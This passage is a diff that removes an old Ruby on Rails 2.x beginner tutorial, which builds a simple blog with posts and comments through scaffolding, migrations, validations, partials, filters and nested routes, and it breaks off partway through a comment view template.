-If you follow this guide, you’ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
-
-h4. Installing Rails
-
-In most cases, the easiest way to install Rails is to take advantage of RubyGems:
-
-<shell>
-$ gem install rails
-</shell>
-
-NOTE. There are some special circumstances in which you might want to use an alternate installation strategy:
-
-* If you’re working on Windows, you may find it easier to install Instant Rails. Be aware, though, that "Instant Rails":http://instantrails.rubyforge.org/wiki/wiki.pl releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
-* If you want to keep up with cutting-edge changes to Rails, you’ll want to clone the "Rails source code":http://github.com/rails/rails/tree/master from github. This is not recommended as an option for beginners, though.
-
-h4. Creating the Blog Application
-
-Open a terminal, navigate to a folder where you have rights to create files, and type:
-
-<shell>
-$ rails blog
-</shell>
-
-This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:
-
-<shell>
-$ rails blog -d mysql
-</shell>
-
-And if you’re using PostgreSQL for data storage, run this command:
-
-<shell>
-$ rails blog -d postgresql
-</shell>
-
-TIP. You can see all of the switches that the Rails application builder accepts by running <tt>rails -h</tt>.
-
-After you create the blog application, switch to its folder to continue work directly in that application:
-
-<shell>
-$ cd blog
-</shell>
-
-In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here’s a basic rundown on the function of each folder that Rails creates in a new application by default:
-
-|_.File/Folder|_.Purpose|
-|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.|
-|Rakefile|This file contains batch jobs that can be run from the terminal.|
-|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.|
-|config/|Configure your application's runtime rules, routes, database, and more.|
-|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
-|doc/|In-depth documentation for your application.|
-|lib/|Extended modules for your application (not covered in this guide).|
-|log/|Application log files.|
-|public/|The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.|
-|script/|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
-|tmp/|Temporary files|
-|vendor/|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
-
-h4. Configuring a Database
-
-Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+.
-If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:
-
-* The +development+ environment is used on your development computer as you interact manually with the application
-* The +test+ environment is used to run automated tests
-* The +production+ environment is used when you deploy your application for the world to use.
-
-h5. Configuring a SQLite Database
-
-Rails comes with built-in support for "SQLite":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
-
-Here's the section of the default configuration file with connection information for the development environment:
-
-<yaml>
-development:
-adapter: sqlite3
-database: db/development.sqlite3
-pool: 5
-timeout: 5000
-</yaml>
-
-If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:
-
-<shell>
-$ gem install sqlite3-ruby
-</shell>
-
-h5. Configuring a MySQL Database
-
-If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section:
-
-<yaml>
-development:
-adapter: mysql
-encoding: utf8
-database: blog_development
-pool: 5
-username: root
-password:
-socket: /tmp/mysql.sock
-</yaml>
-
-If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
-
-h5. Configuring a PostgreSQL Database
-
-If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
-
-<yaml>
-development:
-adapter: postgresql
-encoding: unicode
-database: blog_development
-pool: 5
-username: blog
-password:
-</yaml>
-
-Change the username and password in the +development+ section as appropriate.
-
-h4. Creating the Database
-
-Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command:
-
-<shell>
-$ rake db:create
-</shell>
-
-NOTE. Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+.
-
-h3. Hello, Rails!
-
-One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:
-
-<shell>
-$ script/generate controller home index
-</shell>
-
-TIP. If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
-
-Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code:
-
-<code class="html">
-<h1>Hello, Rails!</h1>
-</code>
-
-h4. Starting up the Web Server
-
-You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:
-
-<shell>
-$ script/server
-</shell>
-
-This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
-
-!images/rails_welcome.png(Welcome Aboard screenshot)!
-
-TIP. To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
-
-The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
-
-h4. Setting the Application Home Page
-
-You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:
-
-<shell>
-$ rm public/index.html
-</shell>
-
-Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_:
-
-<ruby>
-map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-</ruby>
-
-The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1.
-
-To hook up your home page, you need to add another line to the routing file, above the default routes:
-
-<ruby>
-map.root :controller => "home"
-</ruby>
-
-This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action.
-
-Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view.
-
-NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
-
-h3. Getting Up and Running Quickly With Scaffolding
-
-Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.
-
-h3. Creating a Resource
-
-In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:
-
-<shell>
-$ script/generate scaffold Post name:string title:string content:text
-</shell>
-
-NOTE. While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
-
-The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
-
-|_.File                                        |_.Purpose|
-|app/models/post.rb                            |The Post model|
-|db/migrate/20090113124235_create_posts.rb     |Migration to create the posts table in your database (your name will include a different timestamp)|
-|app/views/posts/index.html.erb                |A view to display an index of all posts |
-|app/views/posts/show.html.erb                 |A view to display a single post|
-|app/views/posts/new.html.erb                  |A view to create a new post|
-|app/views/posts/edit.html.erb                 |A view to edit an existing post|
-|app/views/layouts/posts.html.erb              |A view to control the overall look and feel of the other posts views|
-|public/stylesheets/scaffold.css               |Cascading style sheet to make the scaffolded views look better|
-|app/controllers/posts_controller.rb           |The Posts controller|
-|test/functional/posts_controller_test.rb      |Functional testing harness for the posts controller|
-|app/helpers/posts_helper.rb                   |Helper functions to be used from the posts views|
-|config/routes.rb                              |Edited to include routing information for posts|
-|test/fixtures/posts.yml                       |Dummy posts for use in testing|
-|test/unit/post_test.rb                        |Unit testing harness for the posts model|
-|test/unit/helpers/posts_helper_test.rb        |Unit testing harness for the posts helper|
-
-h4. Running a Migration
-
-One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.
-
-If you look in the +db/migrate/20090113124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
-
-<ruby>
-class CreatePosts < ActiveRecord::Migration
-  def self.up
-    create_table :posts do |t|
-      t.string :name
-      t.string :title
-      t.text :content
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :posts
-  end
-end
-</ruby>
-
-If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the "Rails Database Migrations":migrations.html guide.
-
-At this point, you can use a rake command to run the migration:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier.
-
-NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
-
-h4. Adding a Link
-
-To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows:
-
-<code lang="ruby">
-<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", posts_path %>
-</code>
-
-The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.
-
-h4. Working with Posts in the Browser
-
-Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link:
-
-!images/posts_index.png(Posts Index screenshot)!
-
-This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command.
-
-TIP. In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
-
-Congratulations, you're riding the rails! Now it's time to see how it all works.
-
-h4. The Model
-
-The model file, +app/models/post.rb+ is about as simple as it can get:
-
-<ruby>
-class Post < ActiveRecord::Base
-end
-</ruby>
-
-There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.
-
-h4. Adding Some Validation
-
-Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates_presence_of :name, :title
-  validates_length_of :title, :minimum => 5
-end
-</ruby>
-
-These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.
-
-h4. Using the Console
-
-To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:
-
-<shell>
-$ script/console
-</shell>
-
-After the console loads, you can use it to work with your application's models:
-
-<shell>
->> p = Post.create(:content => "A new post")
-=> #<Post id: nil, name: nil, title: nil, content: "A new post",
-created_at: nil, updated_at: nil>
->> p.save
-=> false
->> p.errors
-=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
-title: nil, content: "A new post", created_at: nil, updated_at: nil>,
-@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
-"is too short (minimum is 5 characters)"]}>
-</shell>
-
-This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post.
-
-TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them.
-
-h4. Listing All Posts
-
-The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action:
-
-<ruby>
-def index
-  @posts = Post.find(:all)
-
-  respond_to do |format|
-    format.html # index.html.erb
-    format.xml  { render :xml => @posts }
-  end
-end
-</ruby>
-
-This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions.
-
-TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html.
-
-The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+:
-
-<erb>
-<h1>Listing posts</h1>
-
-<table>
-  <tr>
-    <th>Name</th>
-    <th>Title</th>
-    <th>Content</th>
-  </tr>
-
-<% for post in @posts %>
-  <tr>
-    <td><%=h post.name %></td>
-    <td><%=h post.title %></td>
-    <td><%=h post.content %></td>
-    <td><%= link_to 'Show', post %></td>
-    <td><%= link_to 'Edit', edit_post_path(post) %></td>
-    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
-            :method => :delete %></td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New post', new_post_path %>
-</erb>
-
-This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view:
-
-* +h+ is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
-* +link_to+ builds a hyperlink to a particular destination
-* +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
-
-TIP. For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html.
-
-h4. Customizing the Layout
-
-The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag:
-
-<erb>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <meta http-equiv="content-type"
-        content="text/html;charset=UTF-8" />
-  <title>Posts: <%= controller.action_name %></title>
-  <%= stylesheet_link_tag 'scaffold' %>
-</head>
-<body style="background: #EEEEEE;">
-
-<p style="color: green"><%= flash[:notice] %></p>
-
-<%= yield  %>
-
-</body>
-</html>
-</erb>
-
-Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.
-
-h4. Creating New Posts
-
-Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object:
-
-<ruby>
-def new
-  @post = Post.new
-
-  respond_to do |format|
-    format.html # new.html.erb
-    format.xml  { render :xml => @post }
-  end
-end
-</ruby>
-
-The +new.html.erb+ view displays this empty Post to the user:
-
-<erb>
-<h1>New post</h1>
-
-<% form_for(@post) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.label :title %><br />
-    <%= f.text_field :title %>
-  </p>
-  <p>
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-
-<%= link_to 'Back', posts_path %>
-</erb>
-
-The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.
-
-TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance.
-
-When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):
-
-<ruby>
-def create
-  @post = Post.new(params[:post])
-
-  respond_to do |format|
-    if @post.save
-      flash[:notice] = 'Post was successfully created.'
-      format.html { redirect_to(@post) }
-      format.xml  { render :xml => @post, :status => :created,
-	                :location => @post }
-    else
-      format.html { render :action => "new" }
-      format.xml  { render :xml => @post.errors,
-	                :status => :unprocessable_entity }
-    end
-  end
-end
-</ruby>
-
-The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages.
-
-Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request.  In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created."
-
-h4. Showing an Individual Post
-
-When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action:
-
-<ruby>
-def show
-  @post = Post.find(params[:id])
-
-  respond_to do |format|
-    format.html # show.html.erb
-    format.xml  { render :xml => @post }
-  end
-end
-</ruby>
-
-The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+:
-
-<erb>
-<p>
-  <b>Name:</b>
-  <%=h @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%=h @post.content %>
-</p>
-
-
-<%= link_to 'Edit', edit_post_path(@post) %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-h4. Editing Posts
-
-Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller:
-
-<ruby>
-def edit
-  @post = Post.find(params[:id])
-end
-</ruby>
-
-After finding the requested post, Rails uses the +edit.html.erb+ view to display it:
-
-<erb>
-<h1>Editing post</h1>
-
-<% form_for(@post) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.label :title %><br />
-    <%= f.text_field :title %>
-  </p>
-  <p>
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </p>
-  <p>
-    <%= f.submit "Update" %>
-  </p>
-<% end %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-Submitting the form created by this view will invoke the +update+ action within the controller:
-
-<ruby>
-def update
-  @post = Post.find(params[:id])
-
-  respond_to do |format|
-    if @post.update_attributes(params[:post])
-      flash[:notice] = 'Post was successfully updated.'
-      format.html { redirect_to(@post) }
-      format.xml  { head :ok }
-    else
-      format.html { render :action => "edit" }
-      format.xml  { render :xml => @post.errors,
-	                :status => :unprocessable_entity }
-    end
-  end
-end
-</ruby>
-
-In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them.
-
-NOTE. Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
-
-h4. Destroying a Post
-
-Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action:
-
-<ruby>
-def destroy
-  @post = Post.find(params[:id])
-  @post.destroy
-
-  respond_to do |format|
-    format.html { redirect_to(posts_url) }
-    format.xml  { head :ok }
-  end
-end
-</ruby>
-
-The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.
-
-h3. DRYing up the Code
-
-At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers.
-
-h4. Using Partials to Eliminate View Duplication
-
-As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that's the Rails naming convention for partial templates.
-
-<tt>new.html.erb</tt>:
-
-<html>
-<h1>New post</h1>
-
-<%= render :partial => "form" %>
-
-<%= link_to 'Back', posts_path %>
-</html>
-
-<tt>edit.html.erb</tt>:
-
-<erb>
-<h1>Editing post</h1>
-
-<%= render :partial => "form" %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-<tt>_form.html.erb</tt>:
-
-<erb>
-<% form_for(@post) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.label :title, "title" %><br />
-    <%= f.text_field :title %>
-  </p>
-  <p>
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </p>
-  <p>
-    <%= f.submit "Save" %>
-  </p>
-<% end %>
-</erb>
-
-Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore.
-
-For more information on partials, refer to the "Layouts and Rending in Rails":layouts_and_rendering.html guide.
-
-h4. Using Filters to Eliminate Controller Duplication
-
-At this point, if you look at the controller for posts, you’ll see some duplication:
-
-<ruby>
-class PostsController < ApplicationController
-  # ...
-  def show
-    @post = Post.find(params[:id])
-  # ...
-  end
-
-  def edit
-    @post = Post.find(params[:id])
-  end
-
-  def update
-    @post = Post.find(params[:id])
-    # ...
-  end
-
-  def destroy
-    @post = Post.find(params[:id])
-    # ...
-  end
-end
-</ruby>
-
-Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+:
-
-<ruby>
-class PostsController < ApplicationController
-  before_filter :find_post,
-    :only => [:show, :edit, :update, :destroy]
-  # ...
-  def show
-  # ...
-  end
-
-  def edit
-  end
-
-  def update
-    # ...
-  end
-
-  def destroy
-    # ...
-  end
-
-  private
-    def find_post
-      @post = Post.find(params[:id])
-    end
-end
-</ruby>
-
-Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.
-
-For more information on filters, see the "Action Controller Overview":action_controller_overview.html guide.
-
-h3. Adding a Second Model
-
-Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.
-
-h4. Generating a Model
-
-Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:
-
-<shell>
-$ script/generate model Comment commenter:string body:text
-    post:references
-</shell>
-
-This command will generate four files:
-
-* +app/models/comment.rb+ - The model
-* +db/migrate/20091013214407_create_comments.rb+ - The migration
-* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
-
-First, take a look at +comment.rb+:
-
-<ruby>
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-</ruby>
-
-This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide.
-
-In addition to the model, Rails has also made a migration to create the corresponding database table:
-
-<ruby>
-class CreateComments < ActiveRecord::Migration
-  def self.up
-    create_table :comments do |t|
-      t.string :commenter
-      t.text :body
-      t.references :post
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :comments
-  end
-end
-</ruby>
-
-The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Rails is smart enough to only execute the migrations that have not already been run against the current database.
-
-h4. Associating Models
-
-Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:
-
-* Each comment belongs to one post
-* One post can have many comments
-
-In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:
-
-<ruby>
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-</ruby>
-
-You'll need to edit the +post.rb+ file to add the other side of the association:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates_presence_of :name, :title
-  validates_length_of :title, :minimum => 5
-  has_many :comments
-end
-</ruby>
-
-These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+.
-
-TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide.
-
-h4. Adding a Route
-
-_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+ (it will be right at the top of the file). Then edit it as follows:
-
-<ruby>
-map.resources :posts, :has_many => :comments
-</ruby>
-
-This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments.
-
-TIP: For more information on routing, see the "Rails Routing from the Outside In":routing_outside_in.html guide.
-
-h4. Generating a Controller
-
-With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:
-
-<shell>
-$ script/generate controller Comments index show new edit
-</shell>
-
-This creates seven files:
-
-* +app/controllers/comments_controller.rb+ - The controller
-* +app/helpers/comments_helper.rb+ - A view helper file
-* +app/views/comments/index.html.erb+ - The view for the index action
-* +app/views/comments/show.html.erb+ - The view for the show action
-* +app/views/comments/new.html.erb+ - The view for the new action
-* +app/views/comments/edit.html.erb+ - The view for the edit action
-* +test/functional/comments_controller_test.rb+ - The functional tests for the controller
-
-The controller will be generated with empty methods and views for each action that you specified in the call to +script/generate controller+:
-
-<ruby>
-class CommentsController < ApplicationController
-  def index
-  end
-
-  def show
-  end
-
-  def new
-  end
-
-  def edit
-  end
-
-end
-</ruby>
-
-You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:
-
-<ruby>
-class CommentsController < ApplicationController
-  def index
-    @post = Post.find(params[:post_id])
-    @comments = @post.comments
-  end
-
-  def show
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-  end
-
-  def new
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.build
-  end
-
-  def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.build(params[:comment])
-    if @comment.save
-      redirect_to post_comment_url(@post, @comment)
-    else
-      render :action => "new"
-    end
-  end
-
-  def edit
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-  end
-
-  def update
-    @post = Post.find(params[:post_id])
-    @comment = Comment.find(params[:id])
-    if @comment.update_attributes(params[:comment])
-      redirect_to post_comment_url(@post, @comment)
-    else
-      render :action => "edit"
-    end
-  end
-
-  def destroy
-    @post = Post.find(params[:post_id])
-    @comment = Comment.find(params[:id])
-    @comment.destroy
-
-    respond_to do |format|
-      format.html { redirect_to post_comments_path(@post) }
-      format.xml  { head :ok }
-    end
-  end
-
-end
-</ruby>
-
-You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.
-
-In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls
-
-<ruby>
-@comment = @post.comments.build
-</ruby>
-
-This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation.
-
-h4. Building Views
-
-Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
-
-The +views/comments/index.html.erb+ view:
-
-<erb>
-<h1>Comments for <%= @post.title %></h1>
-
-<table>
-  <tr>
-    <th>Commenter</th>
-    <th>Body</th>
-  </tr>
-
-<% for comment in @comments %>
-  <tr>
-    <td><%=h comment.commenter %></td>
-    <td><%=h comment.body %></td>
-    <td><%= link_to 'Show', post_comment_path(@post, comment) %></td>
-    <td>
-        <%= link_to 'Edit', edit_post_comment_path(@post, comment) %>
-    </td>
-    <td>
-        <%= link_to 'Destroy', post_comment_path(@post, comment),
-            :confirm => 'Are you sure?', :method => :delete %>
-    </td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New comment', new_post_comment_path(@post) %>
-<%= link_to 'Back to Post', @post %>
-</erb>
-
-The +views/comments/new.html.erb+ view:
-
-<erb>
-<h1>New comment</h1>
-
-<% form_for([@post, @comment]) do |f| %>
